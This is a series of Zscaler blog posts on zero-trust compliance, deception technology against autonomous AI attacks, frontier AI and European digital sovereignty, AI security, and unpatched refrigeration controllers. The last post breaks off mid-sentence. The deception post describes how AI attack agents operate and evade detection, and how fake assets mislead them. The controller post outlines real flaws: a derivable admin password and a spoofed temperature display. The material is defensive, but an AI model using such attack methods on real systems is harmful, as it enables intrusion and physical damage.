Zero Trust or Bust: Winning Compliance in an AI-Driven Multicloud World

Nikitha Omkar (Senior Product Marketing Manager) — Tue, 25 Aug 2026 21:45:52 GMT

The compliance problem isn't new. But the environment it has to operate in is.Not long ago, achieving regulatory compliance was largely a documentation exercise. You mapped your controls to a framework — HIPAA, PCI-DSS, SOC 2, GDPR — ran an annual audit, and filed the results. It wasn't glamorous, but it was manageable.That model is broken. And the culprits are two technologies that every organization has embraced: AI and multicloud. The Compliance Headache You Didn't Sign Up ForToday, the average enterprise runs workloads across 2.1 public cloud providers and manages 85 different SaaS applications (Thales 2025 Data Threat Report). Every one of those environments holds data. Every one of them has its own access controls, logging formats, and security configurations. And increasingly, none of them talk to each other in a coherent way.The result? A staggering 54% of all cloud-stored data is now classified as sensitive — but only 8% of enterprises encrypt 80% or more of it (Thales 2025 Data Threat Report). That's not a gap. That's a chasm.AI has made it worse. A 2025 survey found that 66% of organizations discovered AI tools accessing sensitive data they were never authorized to see. Only 9% could monitor those interactions in real time (Cyera + Cybersecurity Insiders 2025 State of AI Data Security Report). Employees are sharing confidential customer information, financial data, and regulated records with unsanctioned AI tools — creating what security teams call "shadow data" that regulators call a liability.The stakes are real: the average cost of a data breach in the U.S. hit a record $10.22 million in 2025 — and globally, breaches involving non-compliance cost $4.61 million on average, 4% above the global mean. (IBM Cost of a Data Breach 2025). And 50% of organizations failed to pass their most recent compliance audit — and those relying on manual methods were twice as likely to fail. (Hyperproof 2026 IT Risk & Compliance Benchmark Report).For compliance officers and risk executives in financial services, healthcare, and critical infrastructure, this isn't an abstract problem. It's a quarterly board conversation. Why Legacy Approaches Can't Keep UpHere's the uncomfortable truth most vendors won't say out loud: the tools most organizations use for compliance were built for a different era. They assume your data lives in known places, moves in predictable ways, and can be governed through point-in-time audits.None of those assumptions hold anymore.When a cloud workload generates and moves patient data — exporting it to object storage, syncing it to a SaaS endpoint, then piping it into a generative AI summarizer — all in minutes, legacy on-prem DLP never touches the path. And when a non-prod workload spins up with an open bucket or overly permissive IAM, configuration drift can go undetected for weeks; by then, the data—and the compliance violation—are already out.Fragmented tools create fragmented visibility. And fragmented visibility is the enemy of compliance. What Compliance Actually Requires Strip away the legal jargon, and most compliance frameworks are asking for the same foundational capabilities:Know who's accessing what (identity-based access controls, least privilege)Inspect and log everything (continuous monitoring, audit trails)Segment sensitive environments (prevent lateral movement of data)Enforce policy consistently (same rules everywhere, every time)Prove it all to an auditor (centralized reporting and evidence)The problem? Delivering these capabilities across a hybrid, multicloud, AI-enabled enterprise with traditional network security is like trying to enforce speed limits on roads you can't see. That's not a technology problem. That's a data security architecture problem. How Zero Trust Architecture Changes the EquationThis is where Zero Trust—done right—fundamentally shifts the compliance conversation from "audit dread" to "audit ready." The results speak for themselves—organizations that have deployed zero trust architecture save $1.76M on average per breach compared to peers who have not.3 Zscaler—the pioneer of zero-trust security—helps simplify compliance by reimagining network security with zero trust principles from the ground-up across users and workloads. Zero trust operates on a simple but powerful principle: never trust, always verify. Instead of relying on network perimeters (which don't exist in multicloud), Zscaler brokers secure connections based on identity, context, and policy—regardless of where users, workloads, or applications reside.Zscaler Zero Trust Cloud is a unified Zero Trust platform that provides secure connectivity for workloads across public and private clouds, fundamentally reducing the attack surface and preventing lateral movement. Instead of exposing networks, it makes apps invisible and connects identities directly to applications. Every connection applies least-privilege access based on identity and context. Traffic is inspected bidirectionally at cloud scale, with TLS decryption governed by privacy controls and inline DLP to detect and prevent data loss or exfiltration. App-to-app and in-app microsegmentation stops lateral movement and dramatically reduces audit scope. And all of it is automatically logged in one place—immutable, consistent, and ready for auditors. Here's what that means for compliance:Unified policy across every cloud. One security policy engine extends Zero Trust principles across AWS, Azure, and GCP. Instead of managing fragmented rules across environments, compliance teams get consistent enforcement—and consistent evidence.Continuous logging and audit trails. Every connection, every data flow, every access decision is logged. When an auditor asks for evidence of access controls or segmentation, it's already there—centralized and searchable.Least-privilege access by default. Users and workloads only connect to what they're explicitly authorized to reach. No lateral movement. No broad network access. This maps directly to what HIPAA, PCI DSS, and NIST frameworks require.Inline data protection. Sensitive data is classified and protected in motion—including traffic flowing to and from AI applications—with TLS/SSL inspection at cloud scale. This addresses GDPR's data protection by design principle and emerging AI governance requirements.Reduced attack surface. Because resources are never exposed to the internet, there's simply less to audit, less to protect, and less that can go wrong.The result is a shift from reactive compliance — scrambling to prove you were compliant at a point in time — to continuous, demonstrable compliance that your team, your auditors, and your board can see in real time. Research backs this up: enterprises that integrate compliance and security analytics into a single platform experience 30% fewer regulatory violations. Proof in PracticeOne of Brazil's largest digital banks, processes over 33 petabytes of customer and financial data across AWS, Azure, and Google Cloud. Facing intense regulatory scrutiny and a fragmented patchwork of siloed DLP tools that couldn't scale, they adopted Zscaler's Zero Trust platform to unify data security everywhere—from cloud workloads to AI models. The result: $4.25 million per year in reduced risk exposure, remediation times cut from days to minutes, and the visibility and control needed to meet regional financial regulatory requirements across their entire multicloud footprint.A leading global financial investment firm transformed compliance from a complex, manual audit burden into a continuous, automated state of verified protection with Zscaler. They were able to directly address the stringent network security controls mandated by PCI DSS 4.0 by leveraging Zscaler’s identity-asserted microsegmentation that replaces traditional IP-based rules with workload identity across Azure and AWS workloads. Furthermore, our unified egress model was specifically engineered to align with the evolving mandates of the SWIFT Customer Security Programme (CSP). By utilizing Zscaler Cloud Connector within our hub-and-spoke architectures to secure back-office and transactional data flows, we established a "Secure Zone" that fulfills SWIFT’s Principle 1 by enforcing granular data flow policies between the customer environment and the SWIFT infrastructure. Compliance Is a Data Security ProblemIf there's one thing the past few years have made clear, it's that compliance and data security are no longer separate disciplines. You cannot be compliant without knowing where your sensitive data is, controlling how it moves, and proving both to regulators who are increasingly sophisticated in what they demand.AI and multicloud aren't going away. The regulatory frameworks governing them — the EU AI Act, DORA, updated HIPAA rules, PCI-DSS 4.0 — are only going to get more rigorous. The organizations that will navigate this well aren't the ones with the most compliance tools. They're the ones with the right architecture underneath. Ready to turn audit dread into audit readiness?Read this solution brief to learn more about how Zero Trust Cloud helps achieve continuous compliance.Explore the Zscaler Compliance Center to see how Zero Trust Cloud maps to your regulatory framework or request for a customer compliance reportSchedule a meeting with a Zscaler compliance expert to walk through your specific requirements — whether that's HIPAA, PCI-DSS, DORA, or all of the above.

How Deception Helps Amex Global Business Travel Trap Autonomous AI Attacks

Mon, 24 Aug 2026 16:28:34 GMT

Autonomous AI (or agentic AI) is a clear and present danger for even the most security-savvy organizations. When an AI agent operating at machine speed crosses your perimeter, you can’t afford to lag behind. To successfully combat agentic AI threats, “getting faster” is never going to be good enough. Enterprise security teams need to turn attacker speed to their advantage by exploiting their weaknesses with advanced deception technology. Recent events offer a harsh warning of what’s ahead. The first verified AI-orchestrated nation-state attack targeting 30 organizations was detected in late 2025. Dubbed GTG-1002, the campaign used agentic AI to perform 80% to 90% of its tactical operations autonomously, spanning everything from intelligence gathering and vulnerability exploitation to lateral movement and data exfiltration. Soon after, Mexico’s government agencies were hit with an AI-assisted breach that exfiltrated more than 415 million citizen records.Anthropic's Claude Mythos frontier model confirms the dangers of AI-generated threats. This model shows us how it can autonomously discover thousands of critical vulnerabilities across major operating systems and browsers and generate exploits without human guidance. Days after this disclosure, the Cloud Security Alliance (CSA) published a strategy brief reviewed by more than 250 CISOs and security leaders. Among its 11 priority actions, the briefing recommends that organizations build a deception capability within the next 90 days, classifying the risk as “high” with significant exposure within 45 days if left unaddressed. Absent a strategy for dealing with Mythos and other frontier models, they are likely to serve as very expensive technical debt generators. After all, the novel attack chains they create are often not as effective as they might seem. But open-weight models, on the other hand, are not far behind Mythos in capability. They are already able to orchestrate traditional kill chains at a speed and scale that accelerates the collapse of breakout times we have been observing for years now. Plus, a threat that is not getting the attention it deserves is attrition. Agentic attackers continue to operate as long as they have tokens to spend. Humans must rest, and true follow-the-sun coverage is very costly. Agentic defense will become table stakes in threat detection and response over the next 12 to 24 months as a necessary response to shrinking breakout times and the expanding duration of high-velocity attacks.CSA’s advice runs counter to most security operators' understanding of deception. Deception has long been considered a compensating control only available to advanced teams at well-funded organizations. It is also perceived as being too static, too easy to evade, and too difficult to implement and manage. But deception is more accessible and powerful than commonly believed. I will address its perceived weaknesses, referencing the deception program we’ve built at Amex GBT and its integration with our agentic security operations. The core of this deception program is Zscaler Deception. It works alongside an array of easy-to-deploy open source decoys and is run end to end by a single engineer, with bandwidth to spare. AI-powered threats make dwell time and the kill chain obsoleteLet’s take a deeper look at why the current arsenal of tools, such as EDR, NDR, XDR, SIEM, and UEBA, are insufficient for halting autonomous AI attacks. Granted, they are great at detecting and synthesizing data on attack patterns that follow the classic cyberattack kill chain sequence, but these tools operate at human speed and assume threat dwell time. Agentic AI attacks, on the contrary, move at machine speed with minimal human participation, degrading the value of dwell time as a meaningful gauge of risk. Dwell time is still an issue, as even AI-augmented attackers still require time for reconnaissance and exploit chaining. But we will need to measure those dwell times, and our response, with new values expressed in seconds and milliseconds rather than hours and minutes. The target for many MTTx metrics has become much smaller and is continuing to shrink. Along with the advantage of velocity, agentic AI attacks multi-task relentlessly, performing functions simultaneously across several pathways and often achieving their malicious objectives in minutes.It is worth noting that this expansion of scope for simultaneous attacks does present new detection opportunities. AI attackers are detectable, and, in some ways, more detectable than a low-and-slow human attacker. The bigger gap is in response times, especially if you are closing detection gaps with high-fidelity controls like deception technology. Traditional tools are still essential components of your detection layer, but the accompanying processes for triage and response just can’t keep up. I recently did a presentation with Amir Moin, Principal Product Manager at Zscaler, at Zenith Live. He emphasized the need for accurate, proactive threat detection for what he describes as “periscope events.” As Moin pointed out, in anti-submarine warfare, sighting a periscope breaking the water is a clear indicator of an imminent threat. Advanced detection of AI threats needs to be equally unambiguous. The second requirement revolves around the speed of attacks and the speed of response. Standard security tools no longer work in an AI threat environment. By the time you collect telemetry, complete correlation, and start triage, attackers already have their hands on your data. Uncovering common cracks in your defensesThere’s no such thing as perfect, full-coverage security. Even the most sophisticated security infrastructure has its blind spots. When we started our program, we uncovered four structural gaps in our defense. You may find similar ones in your own environment. Some endpoints, appliances and legacy systems for example, could not be secured with a modern EDR agent. Even on endpoints with EDR agents, there were blind spots, as in large production apps that required process exceptions.Visibility into lateral movement of threats was blocked in certain contexts. For various reasons, we were unable to disable protocols known to be risky and vulnerable, such as Link-Local Multicast Name Resolution (LLMNR), used to find device IP addresses on LANs without a DNS server. Automated scanning at the perimeter continually created high signal volume and excessive false positives. This triggered alert fatigue, threatening to overwhelm our security analysts. Surfacing real threats required too much time and effort.Those four gaps are the main reasons why we built our program based on modern deception technology; the only solution that addressed all of them. Note that none of these reasons are peculiar to AI. In fact, all of them predate AI and remain problems even for organizations with no AI adoption to speak of. So even if AI is not on the radar for you, you should still be pursuing a deception program.More Deception Success StoriesPersistent Persistent Boosts Security While Saving $2M in Capex/Opex Costs Year Over Year Read the Success StoryGodrej Godrej Implements True Zero Trust Security Read the Success StoryCushman Wakefield Cushman & Wakefield Mitigates Risk with Intelligent, Automated Vulnerability Management Read the Success Story Exploiting AI weaknesses with a decoy strategyHere are some inherent characteristics of agentic AI attacks that you can use to your advantage:The high velocity of AI attacks can work against them: Why? Because speed doesn’t matter to a decoy. It doesn't care what technique the attacker uses or how fast it moves. There’s never any reason for a legitimate user or process to touch a decoy. This means that every single interaction an AI agent has with a decoy is a periscope event, a clear threat. The faster the AI agent probes your network, the more deception surfaces it comes in contact with and the faster it gets detected. AI attacks are exhaustive: Running at machine speed along parallel paths, they leave no stone unturned and can bring down an organization in minutes. However, with deception in place, agentic attackers with a comprehensive scope and scale are virtually guaranteed to trip over a decoy. It detects them and then issues a high-fidelity alert, allowing you to contain them with pre-orchestrated responses.AI agents can be designed to operate cautiously: They can deliberate throttle their activity to bypass rate limits and evade the behavioral guardrails that would otherwise trigger detection: the low-and-slow AI attacker argument. But that caution has a cost. The moment an AI attacker surrenders its speed advantage, it moves into the dwell-time window for which controls like EDR and UEBA were purpose-built. AI agents can be programmed to look for decoys: But the problem is they have to probe the environment first, and in the process of doing so, they still will encounter decoys and trigger an actionable alert. In fact, the probing itself is another detection opportunity. In addition, even knowledge of the existence of decoys won’t help, as the mental model of the environment has already been poisoned. The OODA loop of the attacker starts to break down as they question each artifact they discover. The attacker can never be certain they have mapped every decoy. More on that later.To human or AI attackers, the decoys look like the real thing. If you regularly update the content and context of decoys, you’ll have a robust evergreen detection and prevention capability. Changes in attacker techniques and speed become irrelevant. The update process can be fully automated and AI-augmented at a relatively low cost to the organization. What we built and whyThe idea was to create an environment akin to a lawn intentionally littered with rakes. No matter where an AI agent steps, they will take a hit and reveal their presence. In this scenario, the speed advantage of AI agents actually makes it easier and faster for us to trap them. With Zscaler Deception, we planted decoys alongside our real assets: endpoints, Active Directory users, vulnerable apps, credential stores, cloud storage, LLM chatbots, and model context protocol (MCP) servers. We focused decoy design on three layers:Perimeter: We built private threat intelligence (PTI) honeypots in our DMZ, which sits between our internal network and the internet.Purpose: To absorb attack traffic and automatically distinguish real attackers from noise. That telemetry was used to update our defenses, including firewalls and web application firewalls, before attacks could build momentum.Network: We planted decoys across the cloud and physical infrastructure. Purpose: To create destinations to bait attackers and deploy sensors to surface LLMNR attack patterns.Endpoint: We used the Zscaler Client Connector to plant lures and breadcrumbs on endpoints. These included a variety of decoy types deliberately architected to act like breadcrumbs guiding lateral movement toward further decoys and baiting attackers into generating high-fidelity identity signals. Purpose: To seed the environment with fake assets that legitimate users have no reason to access. Any interaction with these assets immediately signals an attacker. If an attacker happens to evade EDR and continues to chase a decoy, they trigger a high-fidelity alert and are engaged and contained. How deception disrupts the decision cycle for human and AI attackersAt Amex GBT, we have learned to leverage deception technology’s super power: its ability to poison the attacker’s decisioning cycle based on the OODA loop model, developed by US Air Force Colonel John Boyd in the 1970s.In Boyd's framework, attackers:Observe the environmentOrient themselves by building a mental modelDecide what to do nextActDeception is uniquely capable of addressing both human and AI operators by corrupting the Observe and Orient phases.When human operators are in the loop, they see false signals, identify them, and discard them, progressively losing confidence in their model of the environment. Bad decisions compound as operators redirect the agent based on corrupted assumptions. To trap AI agents, deception plants fake credentials, phantom servers, and fabricated topology into the environment model. The agent then acts based on a corrupted map, failing to verify the data it collects. As a result, it makes decisions based on an environment that doesn't exist. Every parallel thread of the attack operates on this bad data simultaneously. The agent is confidently wrong all the time and at scale.A common objection we hear is that, given enough time and patience, an AI agent will map static decoys over time and eventually find a way around them. Our experience with deception, however, proves otherwise. We’ve discovered that:AI can never be sure it has found all decoys. This uncertainty is identical to what dynamic deception produces. An incomplete map of the environment poisons the OODA loop just as a moving target does.The moment an AI agent slows down to avoid decoys, it surrenders its primary advantage of machine speed, turning this asset into a liability.Reconnaissance creates another detection surface. Our deception implementation uses network decoys specifically to identify probing behaviors at the edge and internally. It then correlates those signals with telemetry from other tools, augmented with AI analysis. The very act of mapping the environment becomes a trip wire. What four years of using deception and decoy technology looks likeOur rigorous penetration tests and adversary emulations, along with PTI telemetry, confirmed the effectiveness of Zscaler Deception. With every pen test engagement, red teams hit every decoy type every single time. Even more striking was how far ahead of other detection technologies it was in two real-world incidents. Within minutes of attackers making contact with an endpoint, alerts were triggered, completely shutting down privilege escalation and lateral movement. Zscaler Deception has proven its value, delivering these positive results for Amex GBT:One engineer runs the entire program, with bandwidth to spareMinutes (sometimes less) for detection of endpoint incidentsZero false positives during four years of production deploymentLow total cost of ownership relative to signal fidelity Key takeaways for taking immediate actionIf you're not running an advanced deception program today, you won’t be prepared to combat the attacks that are here now and continually evolving. Here are steps you can take to fortify your defense against agentic AI attacks. Take stock of your environment: Identify your most critical security gaps.Implement deception technology near your crown jewels first. This is where it’s likely to discover an attack quickly. This first win will give your SOC team high confidence in the value of the solution before the complete rollout.Treat every decoy alert as a confirmed incident: With Zscaler Deception’s zero false positives, you can skip triage and move directly to scoping and response, including autonomous response in appropriate contexts.AI attackers are highly susceptible to deception technology: Their speed and aggressive reconnaissance actually increase the probability of contact with a decoy.Don’t neglect your AI workloads: Make sure you deploy decoys to safeguard these precious assets. Above all, recognize that deception and decoy technologies are no longer a supplementary security layer. They have earned a place among your primary defensive mechanisms in an AI-augmented threat landscape.

No Contradiction Here: Frontier AI Requires More Digital Sovereignty, Not Less

Adam Geller (Chief Product Officer) — Mon, 24 Aug 2026 14:57:40 GMT

The rise of frontier AI and the push for digital sovereignty are often treated as separate agendas. They are not. Let’s be crystal clear: the rapid emergence of powerful AI models makes the case for digital sovereignty more urgent, not less. In Europe and around the world, frontier AI should accelerate the operationalization of digital sovereignty.How Frontier AI Played into the Tech-Dependency discussionIn April and May 2026, frontier AI models Anthropic’s Claude Mythos Preview and OpenAI’s GPT-5.5-Cyber raised serious concerns in the cybersecurity community and among those responsible for enterprise security. While demonstrating the potential of embedding AI into defensive workflows, these models also expanded the attack surface and made clear that organizations and governments will soon face unprecedented and sophisticated attacks when these new capabilities are used by malign actors. Other frontier AI models will soon offer similar capabilities, making this a systemic challenge. For policymakers, that is not only a cybersecurity challenge, but a strategic one: it raises urgent questions about resilience, control, and digital sovereignty.Mythos and GPT-5.5-Cyber represent something fundamentally different from previous models. They can reason across attack paths, weigh exploitability, and generate security-relevant workflows. While malign intent may not have changed, the capabilities, speed, scale, and sophistication of attacks have increased, while the expertise required to deploy them has fallen. In Europe, the arrival of these frontier AI models was felt in two ways: first, as an inflection point in ensuring access to advanced cybersecurity capabilities needed to retain resilience; and second, as yet another reminder of Europe’s dependence on non-European technology providers. Both points were underscored in the European Parliament’s letter to Executive Vice-President Henna Virkkunen [here].Our colleague, Deepen Desai, wrote in a recent blog [here]: “The question isn't whether these models will impact your security posture; it's whether your team will harness them faster than your attackers.” In Europe, that question is not only about how quickly organizations can embed these tools into their defensive workflows, but also about how to ensure trusted access to them on terms that strengthen resilience, accountability, and strategic control.Why AI Is Also a Sovereignty IssueOn June 12, 2026, the U.S. administration imposed export controls suspending foreign access to Anthropic’s most advanced models, Claude Mythos 5 and Claude Fable 5, citing national security concerns. The controls were lifted later that month, and access was restored on July 1, 2026. The episode itself was brief. What it revealed was not: frontier AI is now being treated as a strategic asset, subject to the same instincts that have long governed semiconductors, satellites, and encryption. Those with access will be best positioned to shape, secure, and benefit from the next generation of cyber capabilities. That message was reinforced by a June 22 Five Eyes intelligence partners’ cyber agencies joint statement that was unusual in its directness: frontier AI models are advancing faster than public expectations, and the resulting shift in offensive and defensive cyber capability is now measured in months, not years. Their advice was strikingly unglamorous: patch faster, reduce unnecessary internet exposure, fix identity and access weaknesses, and put AI to work on defense before adversaries put it to work on offense.Europe’s Response Is Becoming OperationalAt roughly the same moment, after years of increasingly urgent debate, Europe took a significant step toward defining what technological sovereignty means in practice. Driven by geopolitical tensions and growing concern over access to critical digital capabilities on terms Europe does not fully control, the European Commission published its Tech Sovereignty Package on June 3, 2026, with the proposed Cloud and AI Development Act (CADA) at its center.CADA seeks to turn Europe’s ambition for digital sovereignty into a practical framework against which organizations can assess providers, make procurement decisions, and hold vendors accountable. It would expand EU data-center capacity, encourage public-sector buyers to consider “Union added value” alongside price, and introduce four EU-wide sovereignty assurance levels covering data location, cybersecurity, operational control, supply-chain transparency, ownership, and personnel. Importantly, the framework recognises that sovereignty is not determined solely by where a provider is headquartered: non-EU companies may still support sensitive workloads where they can demonstrate sufficient independence, transparency, and control. For public and private entities, this should bring greater clarity when selecting technologies and matching workloads to the appropriate level of assurance. For technology providers, it raises the bar from making broad sovereignty claims to demonstrating that their products and operations can deliver sovereignty in practice.AI Changes the Cyber and Sovereignty EquationAs frontier AI models make attacks faster, more adaptive, and harder to catch, the conversations about sovereignty and resilience start to converge. Frontier AI is compressing the timeline across every stage of the cyber lifecycle at once: vulnerability discovery, exploit development, and defensive response are all accelerating together. This points to a structural shift that challenges assumptions security teams have relied on for two decades: that patch cycles measured in weeks are adequate, that legacy systems can be triaged rather than replaced, and that obscurity can still function as a form of defense.This also helps explain why European policymakers are increasingly framing frontier AI as a question of resilience, competitiveness, and strategic dependency. Members of the European Parliament have openly asked whether Europe’s limited access to frontier AI capability is itself becoming a security vulnerability. The Commission’s AI Cyber Action Plan reflects that shift in emphasis, focusing on strengthening Europe’s cyber resilience, improving trusted access to advanced AI for defenders, and reducing strategic dependencies in ways consistent with European security and sovereignty objectives.Cybersecurity is no longer just a niche policy area among many. It is becoming one of the defining enablers, or constraints, of Europe’s technological ambitions and, as the Draghi report made clear, a key condition for growth, job creation, competitiveness, and Europe’s ability to shape global developments. For organizations, that means preparing now for the cyber effects of frontier AI before these capabilities fall into adversaries’ hands. And recognizing that without cybersecurity, digital sovereignty is impossible.The Five Cs of Digital SovereigntyAs a US headquartered technology company it's not our place to decide how Europe should handle that challenge. It's Europe's call to make, and it's a legitimate one - also in the current geopolitical environment. What we can do is build for it. At Zscaler, we think about digital sovereignty through five practical principles that define what sovereignty should mean in operational terms. For us, sovereignty is fundamentally about choice, control, continuity, collaboration, and compliance. Together, these principles provide a way to understand sovereignty as an operational capability rather than a marketing slogan or political rhetoric. As a technology provider, we are prepared to be judged by how effectively our products deliver against them:Choice: provides organizations the flexibility to select and switch providers without prohibitive cost, vendor lock-in, or interoperability barriers.Control: ensures organizations remain in charge of their data, policies, and encryption keys, including when AI systems are making decisions on their behalf.Continuity: supports resilience through disruption, whether from a cyberattack, a regulatory shift, or an export-control decision.Collaboration: enables localized offerings through partnerships with trusted local providers.Compliance: reflects the legitimate and evolving regulatory expectations of the jurisdictions in which organizations operate.Architecture MattersBuilding on this 5C approach, architecture becomes critical. Many of the technical properties CADA asks organizations to demonstrate — continuous control, strong identity, operational resilience, supply-chain transparency, and reduced structural dependency — are precisely the properties modern Zero Trust architectures were designed to deliver.We are already seeing this shift emerge in how enterprises are architecting for the agentic AI era. AI agents challenge most of the assumptions on which legacy security models were built: known human identities, predictable access patterns, and static directories. An agent can hold valid credentials and operate entirely within its authorized scope, yet still pose serious risk if it is over-permissioned, loosely governed, or invisible to the security stack. Zscaler starts from a different premise: if you’re reachable, you’re breachable. In an AI-driven threat environment the true strategic advantage lies in reducing exposure by hiding applications from the internet, eliminating lateral movement, and replacing implicit trust with direct, policy-based connections. In our view, resilience and sovereignty depend not just on where systems are hosted, but on making them materially harder to reach and exploit.This is the logic behind extending the Zscaler Zero Trust Exchange - a platform that already brokers more than 750 billion transactions daily - into a dedicated architecture for frontier AI models and agentic AI. Defenders now have the chance to improve speed, precision, and scalability in ways that were difficult to achieve through human effort alone, but adversaries will pursue the same advantages creating unprecedented threats. In this next phase, leadership will depend on combining frontier AI with strong architecture, trusted context, and disciplined enforcement. In our view, this is the point at which frontier cyber capabilities, Zero Trust, and digital sovereignty begin to converge.Zscaler’s European CommitmentEurope now has a genuine opportunity to shape a model of technology sovereignty that strengthens resilience while remaining open to innovation and trusted international partnerships. The Commission has been explicit that sovereignty should not mean isolation or decoupling, and getting that balance right will matter for more than competitiveness. It may also determine how well Europe navigates the next era of AI-driven cyber risk, at a moment when European governments and the Five Eyes alliance are warning, in unusually blunt terms, that AI is increasing both the likelihood and the potential impact of damaging cyberattacks.In line with our 5C framework, we also recognize the need to adapt and align with Europe’s sovereignty priorities and that collaboration will be essential. That is why we recently announced a strategic partnership with Schwarz Digits, the IT and digital division of Schwarz Group [here] combining Zscaler’s Zero Trust Exchange platform with STACKIT, Schwarz Digits’ European sovereign cloud, the partnership creates a sovereign Zero Trust secure access service edge (SASE) service designed to counter AI-driven threats and strengthen cyber resilience. The service will be hosted in STACKIT-operated data centers. More importantly, the partnership reflects a practical commitment to Europe at a time when the tech sovereignty package is beginning to take shape. Together, we will help customers reduce their attack surface and limit lateral movement while supporting compliance with European legislation through EU data residency. The goal is straightforward: to deliver strong security in a way that is fully aligned with Europe’s sovereignty expectations.The world has become more challenging and less predictable, and cybersecurity has become an increasingly critical and complex domain to navigate. Meeting that challenge requires policymakers, regulators, and technology providers to work closely together to defend organisations, institutions and in many ways the societies and values they were built upon. Europe is, rightly, demanding greater control over its own digital destiny. For the technology industry, that means adapting, aligning, and delivering through the design of our technologies and products. For every organisation, it means making deliberate choices about the architecture it relies on to strengthen both resilience and digital sovereignty. At Zscaler, we will continue to innovate on a foundation that was architected from day one to be digitally sovereign by default.Adam Geller is Chief Product Officer & Casper Klynge is VP & Head of Government Partnerships & Public Policy EMEA.

How to Close The AI Security Gap

Dhawal Sharma (Executive Vice President, AI Security and Strategic Initiatives) — Sat, 22 Aug 2026 00:27:16 GMT

Few large enterprises need to be convinced that AI matters. The harder question is how to scale AI without introducing new forms of operational and security risk, and this is where many organizations are getting stuck. AI adoption is moving faster than governance, and that mismatch will likely become one of the defining security challenges of the next decade.Many leadership teams still frame the issue too narrowly. They think about AI security mainly in terms of stopping employees from uploading sensitive information into public generative AI tools. That matters, but it is only one part of the picture. AI is now showing up across software as a service applications, developer environments, autonomous agents, model connections, prompts, and data flows. Last year we uncovered more than 3,400 AI and machine learning applications driving enterprise transactions, a fourfold increase over the previous year, and saw a 93% increase in AI data transfer volume. Enterprises are not just managing a handful of tools—they are trying to govern a fast-expanding AI estate.The good news is that the problem is solvable, but not with isolated controls or a collection of disconnected point products. It requires a Zero Trust approach applied across the full AI lifecycle, with the visibility and control to discover where AI is being used, govern how it is accessed, and protect how it behaves. That is the shift enterprises now need to make. The Issue Is Scaling SecurelyMost organizations are not short on AI vision or ambition. Business units want productivity gains, technology teams want to accelerate development, and the C-suite wants AI to translate into competitive advantage. It’s a lack of confidence that AI can be deployed safely at enterprise scale that slows progress.The challenge is not only technical but organizational. Many chief information officers, chief information security officers, chief technology officers, and chief AI officers understand that the risk extends far beyond public chat interfaces, but they are still having to explain that reality internally. Not every key decision maker yet sees the same picture or recognizes how much visibility, policy, expertise, and operational discipline will be needed to secure this shift.If leaders underestimate the scale of the problem, they will underinvest in the human and technical resources required to respond. The evidence suggests many already have. In a series of AI security assessments recently conducted across 38 large enterprises, Zscaler found that not a single organization had fully secured its AI tools from outside attack. Across all 38, corporate AI systems were publicly reachable without adequate access controls.This tells us the answer is not just another tool layered onto an already fragmented environment—point solutions may address single issues, but they create handoff problems, policy gaps, and blind spots between teams. That is exactly the wrong model for a technology shift moving this quickly and becoming so strategically important. What Zero Trust Looks Like For AIAt Zscaler, our view has long been that the safest way to secure users, applications, workloads, and devices is to make Zero Trust the foundation of the security model. AI does not change that; it requires Zero Trust to extend to a wider and more dynamic set of interactions.In an AI context, that means not inherently trusting any user, application, prompt, connector, or agent action. It means establishing visibility first, then enforcing policy with context, and reducing the blast radius when something goes wrong.This is where a platform approach matters. The most practical model is built around three core capabilities.First, enterprises need to discover their full AI footprint. That includes sanctioned and unsanctioned applications, embedded AI features inside approved software, models, agents, and the data paths that connect them. Zscaler addresses this through AI Asset Management, which gives organizations a clearer picture of what is actually running across the environment.Second, they need to control access to AI in a precise way. That means deciding who can use which tools, under what conditions, with what data, and from which devices. Zscaler delivers this through AI Access Security, applying Zero Trust policy to AI applications and services instead of relying on broad, static allowances.Third, they need to protect AI systems through build and runtime. That includes testing for weaknesses, applying guardrails, and reducing the risk of harmful or unintended behavior in production. Zscaler does this through AI Red Teaming and AI Guardrails. Why Platform Matters NowThis full-lifecycle approach is the real platform advantage. Most vendors address one slice of the AI security problem, but enterprises don’t experience these issues one slice at a time. They face them all at once: shadow AI, embedded assistants, prompt exposure, data leakage, agentic behavior, and governance pressure from the chief executive and board.The leadership team and board are not looking for fixes to discrete AI risks. They need a security model that lets the business adopt AI with confidence. The answer starts with Zero Trust and scales with a platform that can discover, control, and protect across the entire AI lifecycle. Enterprises that make that shift will be in a far better position to move quickly without losing control.AI adoption is inevitable. Insecure AI is optional. Learn more about Zscaler’s approach to Security for AI and download our ebook: The AI Security Gap: A Zero Trust Implementation Guide for Security Teams

The Fix Has Been Out for a Year. The Controller Is Still Exposed.

Bryan Ashley (Zero Trust Networking, Principal Architect) — Thu, 20 Aug 2026 17:49:11 GMT

Quick answer: A gap exists between when OT vendors fix vulnerabilities and when operators can actually patch. In food, pharma, and cold-chain sites the update waits for a rare maintenance window because a bad one costs product, not just uptime - a discarded batch, a broken cold chain, a quality deviation that has to be investigated. Two of the most common refrigeration controllers, the Copeland XWEB Pro and Danfoss AK-SM 800A, have serious documented flaws; both vendors shipped firmware fixes months ago, yet thousands of management interfaces remain reachable from the public internet. The practical fix for the gap is reachability: restricting which systems and people can reach the controller lets operators take the update on their own schedule without leaving it exposed in the meantime. Two of the most common supervisory controllers in commercial refrigeration have serious, publicly documented vulnerabilities. Both were fixed by their vendors months ago - Danfoss shipped a fix for the AK-SM 800A in 2025 (CISA advisory), Copeland for the XWEB Pro in February (CISA advisory). A Shodan query on August 19, 2026 returns 3,726 of the Danfoss management interfaces reachable from the public internet - Team82 counted roughly 2,800 via Censys during its research. Different engines, so not a trend line, but the order of magnitude has not moved.If you run a cold-storage warehouse, a food plant, a pharmaceutical distribution site, or a supermarket chain, one of these boxes is probably what tells your compressors and evaporator fans what to do. This piece looks at the gap between "the fix is available" and "the fix is applied": why that gap is wider on the equipment that keeps product cold than almost anywhere else on a plant floor, and what an operator can do inside it. What the researchers showed, and why the vendor names matter less than they lookTeam82's XWEB Pro research, published August 9, is the bigger set: 23 vulnerabilities, 21 rated high. Two of them do the heavy lifting. The administrator password on affected firmware is derived from the date, the device's hardware address, and a fixed value in the firmware, so anyone who can reach the management page can work out today's password without guessing. And once in, an attacker has 19 separate ways to run their own commands as root. The Danfoss AK-SM 800A had fewer flaws - three, all in its web management interface - but one was a hidden "code-of-the-day" login that also bypasses authentication.The demonstration is the part worth remembering. The researchers connected an XWEB Pro to a field controller and a small test refrigerator, held the temperature reading on the display steady at the correct value, and quietly switched off the cooling fans. The fridge warmed. The screen said everything was fine. On a real unit, the temperature log that a food-safety auditor or a pharma quality team would pull to prove the product stayed in range lives on the same controller - in food or pharma, that gap is a discarded batch at best, and a product-integrity question that 